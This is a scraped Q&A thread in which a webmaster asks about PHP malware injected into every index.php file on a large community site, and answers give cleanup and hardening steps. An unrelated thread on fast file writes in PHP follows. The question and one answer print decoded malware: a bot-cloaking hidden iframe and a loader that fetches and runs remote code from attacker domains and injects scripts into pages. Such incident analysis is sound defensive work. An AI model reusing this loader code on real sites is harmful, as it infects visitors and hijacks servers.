My site (very large community website) was recently infected with a virus. Every index.php file was changed so that the opening php tag of these files it was changed to the following line:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
When I decoded this, it produced the following PHP code:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
I've tried several things to clean the virus even restoring from a backup and the files get re-infected after a few minutes or hours. So can you please help me?
What do you know about this virus?
Is there a known security hole it uses to install and propagate?
What does the above php code actually does?
What does the page it embeds in the iframe does?
And of course more importantly: What can i do to get rid of it?
Please help, we have been almost run out of ideas and hope :(
UPDATE1
Some more details: A weird thing is: When we first checked the infected files. They were changed but their modified time in the ftp program was showing last access to be days, months or even years ago in some cases! How is this even possible? It drives me crazy!
UPDATE 2
I think the problem initiated after a user installed a plugin in his Wordpress installation. After restoring from backup and completely deleting the Wordpress folder and the associated db the problem seems gone. We have currently subscribed to a security service and they are investigating the issue just to be sure the hack is gone for good. Thanks for anyone who replied.
Steps to recover and disinfect your site (provided you have a known good backup).
1) Shutdown the Site
You need to basically close the door to your site before you do your remedial work. This will prevent visitors getting malicious code, seeing error messages, etc. Just good practice.
You should be able to do this by putting the following into your .htaccess file in the webroot. (Replace "!!Your IP Address Here!!" with your own IP address - see http://icanhazip.com if you don't know your IP address.)
order deny,allow
deny from all
allow from !!Your IP Address Here!!
2) Download a Copy of All of your Files from the Server
Download everything into a separate folder from your good backups. This may take a while (dependent on your site size, connection speed, etc).
3) Download and Install a File/Folder Comparison Utility
On a Windows machine, you can use WinMerge - http://winmerge.org/ - it's free and quite powerful.
On a MacOS machine, check out the list of possible alternates from Alternative.to
4) Run the File/Folder Comparison Utility
You should end up with a few different results:
Files are Identical - The current file is the same as your backup, and so is unaffected.
File on Left/Right Side Only - That file either only exists in the backup (and may have been deleted from the server), or only exists on the server (and may have been injected/created by the hacker).
File is Different - The file on the server is not the same as the one in the backup, so it may have been modified by you (to configure it for the server) or by the hacker (to inject code).
5) Resolve the Differences
(a.k.a "Why can't we all just get along?")
For Files which are Identical, no further action is required.
For Files which Exist on One Side Only, look at the file and figure out whether they are legitimate (ie user uploads which should be there, additional files you may have added, etc.)
For Files which are Different, look at the file (the File Difference Utility may even show you which lines have been added/modified/removed) and see whether the server version is valid. Overwrite (with the backed-up version) any files which contain malicious code.
6) Review your Security Precautions
Whether this is as simple as changing your FTP/cPanel Passwords, or reviewing your use of external/uncontrolled resources (as you mention you are performing alot of fgets, fopens, etc. you may want to check the parameters being passed to them as that is a way to make scripts pull in malicious code), etc.
7) Check the Site Works
Take the opportunity of being the only person looking at the site to make sure that everything is still operating as expected, after the infected files are corrected and malicious files have been removed.
8) Open the Doors
Reverse the changes made in the .htaccess file in Step 1. Watch carefully. Keep an eye on your visitor and error logs to see if anyone tries to trigger the removed malicious files, etc.
9) Consider Automated Detection Methods
There are a few solutions, allowing for you to have an automated check performed on your host (using a CRON job) which will detect and detail any changes which occur. Some are a bit verbose (you will get an email for each and every file changed), but you should be able to adapt them to your needs:
Tripwire - a PHP script to detect and report new, deleted or modified files
Shell script to monitor file changes
How to detect if your webserver is hacked and get alerted
10) Have Scheduled Backups, and Retain a Good Bracket
Make sure you have scheduled backups performed on your website, keep a few of them, so you have different steps you can go back in time, if necessary. For instance, if you performed weekly backups, you might want to keep the following:
4 x Weekly Backups
4 x Monthly Backups (you retain one of the Weekly Backups, maybe the first week of the month, as the Monthly Backup)
These will always make life easier if you have someone attack your site with something a bit more destructive than a code injection attack.
Oh, and ensure you backup your databases too - with alot of sites being based on CMSes, having the files is nice, but if you lose/corrupt the database behind them, well, the backups are basically useless.
I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:
To decode the encrypted php script on each php file use this:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
And formatting the result using this guy:
http://beta.phpformatter.com/
To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.
I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use:
code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree
import os
import re
import sys
def try_to_replace(fname):
if replace_extensions:
return fname.lower().endswith(".php")
return True
def file_replace(fname, pat, s_after):
# first, see if the pattern is even in the file.
with open(fname) as f:
if not any(re.search(pat, line) for line in f):
return # pattern does not occur in file so we are done.
# pattern is in the file, so perform replace operation.
with open(fname) as f:
out_fname = fname + ".tmp"
out = open(out_fname, "w")
for line in f:
out.write(re.sub(pat, s_after, line))
out.close()
os.rename(out_fname, fname)
def mass_replace(dir_name, s_before, s_after):
pat = re.compile(s_before)
for dirpath, dirnames, filenames in os.walk(dir_name):
for fname in filenames:
if try_to_replace(fname):
print "cleaning: " + fname
fullname = os.path.join(dirpath, fname)
file_replace(fullname, pat, s_after)
if len(sys.argv) != 2:
u = "Usage: rescue.py <dir_name>\n"
sys.stderr.write(u)
sys.exit(1)
mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")
to use type
python rescue.py rootfolder
This is what the malicious script was trying to do:
<?php
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (!$f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function trysocket_777($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!#socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/');
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
$_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php') . $d;
$_SERVER['s_script'] = "nl.php?p=d";
}
setup_globals_777();
if (!function_exists('gml_777')) {
function gml_777()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
return $r_string_777;
}
}
if (!function_exists('gzdecodeit')) {
function gzdecodeit($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
ob_start('mrobh');
}
}
?>
First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.
Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?
To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.
It's always tricky to find these files, because usually there are multiple of them across your web root.
Usually if you see some kind of obfuscations, it's red alert for you.
Most of the malwares are easy to find based on the common functions which they use, this includes:
base64_decode,
lzw_decompress,
eval,
and so on
By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.
Here are few grep commands which may find the most common malware PHP code:
grep -R return.*base64_decode .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).
Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.
For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by #Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.
See also:
What does this malicious PHP script do?
Drupal: How to remove malicious scripts from admin pages after being hacked?
My websites / or websites I host were hit several times with similar attacks.
I present what I did to resolve the issue. I don't pretend it's the best / easiest approach but it works and since then I can proactively keep the ball in my field.
solve the issue ASAP
I created a very simple PHP script (it was written when the iron was hot so maybe it's not the most optimized code BUT it solves the problem pretty fast):
http://www.ecommy.com/web-security/clean-php-files-from-eval-infection
make sure you know when something like this hits again. Hackers use all kind of aproaches from SQL injection of one of your external modules you install to brute force your admin panel with dictionary attacks or very well known password patterns like 1qaz... qwerty.... etc...
I present the scripts here:
http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
the cron entry would be something like:
0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&
I updated the pages so someone can download directly the files.
Hope it will he useful for you as it's for me :)
Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.
If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.
Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.
To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.
I have the same issue and when I delete that, the code generated automatically.I did these steps and it works fine:
1-Limit SSH access
I see some ssh logins attempt and guess it may be related to this Malicious!
2- Enable SELinux
remember that config SElinux for nignx permission access file
3- Remove eval(base64_decode(...))
remove lines contain eval(base64_decode(...)) from all index.php [from root folders, plugin's folders and ....]
Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:
find . -name "*.php" | xargs sed -i 's#eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;##'
This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes
EDIT: now works with internal whitespace also
Related
Imagine that a campaign will have 10,000 to 30,000 files about 4kb each should be written to disk.
And, there will be a couple of campaigns running at the same time. 10 tops.
Currently, I'm going with the usual way: file_put_contents.
it gets the job done but in a slow way and its php process is taking 100% cpu usage all the way.
fopen, fwrite, fclose, well, the result is similar to file_put_contents.
I've tried some async io stuff such as php eio and swoole.
it's faster but it'll yield "too many open files" after some time.
php -r 'echo exec("ulimit -n");' the result is 800000.
Any help would be appreciated!
well, this is sort of embarrassing... you guys are correct, the bottleneck is how it generates the file content...
I am assuming that you cannot follow SomeDude's very good advice on using databases instead, and you already have performed what hardware tuning could be performed (e.g. increasing cache, increasing RAM to avoid swap thrashing, purchasing SSD drives).
I'd try and offload the file generation to a different process.
You could e.g. install Redis and store the file content into the keystore, which is very fast. Then, a different, parallel process could extract the data from the keystore, delete it, and write to a disk file.
This removes all disk I/O from the main PHP process, and lets you monitor the backlog (how many keypairs are still unflushed: ideally zero) and concentrate on the bottleneck in content generation. You'll possibly need some extra RAM.
On the other hand, this is not too different from writing to a RAM disk. You could also output data to a RAM disk, and it would be probably even faster:
# As root
mkdir /mnt/ramdisk
mount -t tmpfs -o size=512m tmpfs /mnt/ramdisk
mkdir /mnt/ramdisk/temp
mkdir /mnt/ramdisk/ready
# Change ownership and permissions as appropriate
and in PHP:
$fp = fopen("/mnt/ramdisk/temp/{$file}", "w");
fwrite($fp, $data);
fclose($fp);
rename("/mnt/ramdisk/temp/{$file}", "/mnt/ramdisk/ready/{$file}");
and then have a different process (crontab? Or continuously running daemon?) move files from the "ready" directory of the RAM disk to the disk, deleting then the RAM ready file.
File System
The time required to create a file depends on the number of files in the directory, with various dependency functions that themselves depend on the file system. ext4, ext3, zfs, btrfs etc. will exhibit different behaviour. Specifically, you might experience significant slowdowns if the number of files exceeds some quantity.
So you might want to try timing the creation of a large number of sample files in one directory, and see how this time grows with the growth of the number. Keep in mind that there will be a performance penalty for access to different directories, so using straight away a very large number of subdirectories is again not recommended.
<?php
$payload = str_repeat("Squeamish ossifrage. \n", 253);
$time = microtime(true);
for ($i = 0; $i < 10000; $i++) {
$fp = fopen("file-{$i}.txt", "w");
fwrite($fp, $payload);
fclose($fp);
}
$time = microtime(true) - $time;
for ($i = 0; $i < 10000; $i++) {
unlink("file-{$i}.txt");
}
print "Elapsed time: {$time} s\n";
Creation of 10000 files takes 0.42 seconds on my system, but creation of 100000 files (10x) takes 5.9 seconds, not 4.2. On the other hand, creating one eighth of those files in 8 separate directories (the best compromise I found) takes 6.1 seconds, so it's not worthwhile.
But suppose that creating 300000 files took 25 seconds instead of 17.7; dividing those files in ten directories might take 22 seconds, and make the directory split worthwhile.
Parallel processing: r strategy
TL;DR this doesn't work so well on my system, though your mileage may vary. If the operations to be done are lengthy (here they are not) and differently bound from the main process, then it can be advantageous to offload them each to a different thread, provided you don't spawn too many threads.
You will need pcntl functions installed.
$payload = str_repeat("Squeamish ossifrage. \n", 253);
$time = microtime(true);
for ($i = 0; $i < 100000; $i++) {
$pid = pcntl_fork();
switch ($pid) {
case 0:
// Parallel execution.
$fp = fopen("file-{$i}.txt", "w");
fwrite($fp, $payload);
fclose($fp);
exit();
case -1:
echo 'Could not fork Process.';
exit();
default:
break;
}
}
$time = microtime(true) - $time;
print "Elapsed time: {$time} s\n";
(The fancy name r strategy is taken from biology).
In this example, spawning times are catastrophic if compared to what each child needs to do. Therefore, overall processing time skyrockets. With more complex children things would go better, but you must be careful not to turn the script into a fork bomb.
One possibility, if possible, could be to divide the files to be created into, say, chunks of 10% each. Each child would then change its working directory with chdir(), and create its files in a different directory. This would negate the penalty for writing files in different subdirectories (each child writes in its current directory), while benefiting from writing less files. In this case, with very lightweight and I/O bound operations in the child, again the strategy isn't worthwhile (I get doubled execution time).
Parallel processing: K strategy
TL;DR this is more complex but works well... on my system. Your mileage may vary.
While r strategy involves lots of fire-and-forget threads, K strategy calls for a limited (possibly one) child which is nurtured carefully. Here we offload the creation of all the files to one parallel thread, and communicate with it via sockets.
$payload = str_repeat("Squeamish ossifrage. \n", 253);
$sockets = array();
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
echo 'Could not fork Process.';
} elseif ($pid) {
/*parent*/
socket_close($sockets[0]);
} else {
/*child*/
socket_close($sockets[1]);
for (;;) {
$cmd = trim(socket_read($sockets[0], 5, PHP_BINARY_READ));
if (false === $cmd) {
die("ERROR\n");
}
if ('QUIT' === $cmd) {
socket_write($sockets[0], "OK", 2);
socket_close($sockets[0]);
exit(0);
}
if ('FILE' === $cmd) {
$file = trim(socket_read($sockets[0], 20, PHP_BINARY_READ));
$len = trim(socket_read($sockets[0], 8, PHP_BINARY_READ));
$data = socket_read($sockets[0], $len, PHP_BINARY_READ);
$fp = fopen($file, "w");
fwrite($fp, $data);
fclose($fp);
continue;
}
die("UNKNOWN COMMAND: {$cmd}");
}
}
$time = microtime(true);
for ($i = 0; $i < 100000; $i++) {
socket_write($sockets[1], sprintf("FILE %20.20s%08.08s", "file-{$i}.txt", strlen($payload)));
socket_write($sockets[1], $payload, strlen($payload));
//$fp = fopen("file-{$i}.txt", "w");
//fwrite($fp, $payload);
//fclose($fp);
}
$time = microtime(true) - $time;
print "Elapsed time: {$time} s\n";
socket_write($sockets[1], "QUIT\n", 5);
$ok = socket_read($sockets[1], 2, PHP_BINARY_READ);
socket_close($sockets[1]);
THIS IS HUGELY DEPENDENT ON THE SYSTEM CONFIGURATION. For example on a mono-processor, mono-core, non-threading CPU, this is madness - you'll at least double the total runtime, but more likely it will go from three to ten times as slow.
So this is definitely not the way to pimp up something running on an old system.
On a modern multithreading CPU and supposing the main content creation loop is CPU bound, you may experience the reverse - the script might go ten times faster.
On my system, the "forking" solution above runs a bit less than three times faster. I expected more, but there you are.
Of course, whether the performance is worth the added complexity and maintenance, remains to be evaluated.
The bad news
While experimenting above, I came to the conclusion that file creation on a reasonably configured and performant machine in Linux is fast as hell, so not only it's difficult to squeeze more performances, but if you're experiencing slowness, it's very likely that it is not file related. Try detailing some more about how you create that content.
Having read your description, I understand you're writing many files that are each rather small. The way PHP usually works (at least in the Apache server), there is overhead for each filesystem access: a file pointer and buffer is opened and maintained for each file. Since there's no code samples to review here, it's hard to see where inefficiencies are.
However, using file_put_contents() for 300,000+ files appears to be slightly less efficient than using fopen() and fwrite() or fflush() directly, then fclose() when you're done. I'm saying that based on a benchmark done by a fellow in the comments of the PHP documentation for file_put_contents() at http://php.net/manual/en/function.file-put-contents.php#105421
Next, when dealing with such small file sizes, it sounds like there's a great opportunity to use a database instead of flat files (I'm sure you've got that before). A database, whether mySQL or PostgreSQL, is highly optimized for simultaneous access to many records, and can internally balance CPU workload in ways that filesystem access never can (and binary data in records is possible too). Unless you need access to real files directly from your server hard drives, a database can simulate many files by allowing PHP to return individual records as file data over the web (i.e., by using the header() function). Again, I'm assuming this PHP is running as a web interface on a server.Overall, what I am reading suggests that there may be an inefficiency somewhere else besides filesystem access. How is the file content generated? How does the operating system handle file access? Is there compression or encryption involved? Are these images or text data? Is the OS writing to one hard drive, a software RAID array, or some other layout? Those are some of the questions I can think of just glancing over your problem. Hopefully my answer helped. Cheers.
The main idea is to have less files.
Ex: 1,000 files can be added in 100 files, each containing 10 files - and parsed with explode and you will get 5x faster on write and 14x faster on read+parse
with file_put_contents and fwrite optimized, you will not get more than 1.x speed. This solution can be useful for read/write. Other solution may be mysql or other db.
On my computer to create 30k files with a small string it takes 96.38 seconds and to append 30k times same string in one file it takes 0.075 sec
